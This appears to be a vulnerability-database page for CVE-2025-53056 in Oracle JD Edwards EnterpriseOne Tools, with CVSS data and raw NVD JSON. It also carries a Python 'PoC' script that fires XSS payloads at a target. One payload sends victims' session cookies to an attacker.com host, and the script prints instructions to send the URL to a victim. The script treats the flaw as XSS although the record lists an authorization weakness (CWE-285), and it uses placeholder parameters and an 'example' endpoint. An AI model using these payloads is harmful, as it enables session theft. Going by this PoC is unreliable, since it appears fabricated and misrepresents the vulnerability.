Security Vulnerability Report
中文
CVE-2025-53056 CVSS 6.1 MEDIUM

CVE-2025-53056

Published: 2025-10-21 20:20:45
Last Modified: 2025-10-23 16:05:30

Description

Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Object and Environment Tech). Supported versions that are affected are 9.2.0.0-9.2.9.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in JD Edwards EnterpriseOne Tools, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of JD Edwards EnterpriseOne Tools accessible data as well as unauthorized read access to a subset of JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:oracle:jd_edwards_enterpriseone_tools:*:*:*:*:*:*:*:* - VULNERABLE
Oracle JD Edwards EnterpriseOne Tools 9.2.0.0
Oracle JD Edwards EnterpriseOne Tools 9.2.0.0-9.2.9.4(所有9.2.x版本)
Oracle JD Edwards EnterpriseOne Tools 9.2.9.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-53056 - Oracle JD Edwards EnterpriseOne Tools XSS PoC # Component: Object and Environment Tech # Affected Versions: 9.2.0.0 - 9.2.9.4 import requests import urllib.parse # Target configuration TARGET_URL = "https://target-jde-host:port" # Replace with actual JD Edwards EnterpriseOne server VULNERABLE_ENDPOINT = "/jde/E1Menu.maf" # Example endpoint in Object and Environment Tech component def craft_xss_payload(): """Craft a malicious XSS payload targeting JD Edwards EnterpriseOne Tools""" # Reflected XSS payload that exploits the vulnerability in the Object and Environment Tech component payload = { "param1": "<script>alert('CVE-2025-53056-XSS')</script>", "param2": "<img src=x onerror=document.location='http://attacker.com/steal?cookie='+document.cookie>", "env": "<svg/onload=alert(document.domain)>" } return payload def exploit_reflected_xss(target_url, endpoint, params): """Send a crafted HTTP request with XSS payload to the vulnerable endpoint""" url = target_url + endpoint # Method 1: GET-based reflected XSS query_string = urllib.parse.urlencode(params) exploit_url = f"{url}?{query_string}" print(f"[*] Crafted exploit URL: {exploit_url}") print(f"[*] Send this URL to a victim user to trigger the XSS") # Verify the endpoint is reachable try: response = requests.get(url, verify=False, timeout=10) print(f"[*] Target reachable - Status: {response.status_code}") return exploit_url except Exception as e: print(f"[-] Connection error: {e}") return None def exploit_post_xss(target_url, endpoint, params): """POST-based XSS exploit for stored/reflected scenarios""" url = target_url + endpoint headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible; JD Edwards Client)" } try: response = requests.post(url, data=params, headers=headers, verify=False, timeout=10) print(f"[*] POST response status: {response.status_code}") # Check if payload is reflected in response if "<script>" in response.text or "alert(" in response.text: print("[+] XSS payload reflected in response - vulnerability confirmed!") return response except Exception as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": print("=" * 60) print("CVE-2025-53056 PoC - Oracle JDE EnterpriseOne Tools XSS") print("=" * 60) payload = craft_xss_payload() # Attempt GET-based exploitation print("\n[+] Attempting GET-based reflected XSS...") exploit_url = exploit_reflected_xss(TARGET_URL, VULNERABLE_ENDPOINT, payload) # Attempt POST-based exploitation print("\n[+] Attempting POST-based XSS...") exploit_post_xss(TARGET_URL, VULNERABLE_ENDPOINT, payload) print("\n[*] Note: Successful exploitation requires user interaction") print("[*] Attacker needs to deliver the malicious URL to a victim user")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-53056", "sourceIdentifier": "[email protected]", "published": "2025-10-21T20:20:44.783", "lastModified": "2025-10-23T16:05:29.730", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Object and Environment Tech). Supported versions that are affected are 9.2.0.0-9.2.9.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in JD Edwards EnterpriseOne Tools, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of JD Edwards EnterpriseOne Tools accessible data as well as unauthorized read access to a subset of JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:jd_edwards_enterpriseone_tools:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.2.0.0", "versionEndIncluding": "9.2.9.4", "matchCriteriaId": "5DD0B34F-6285-4353-83E0-BBE8473D1B82"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpuoct2025.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}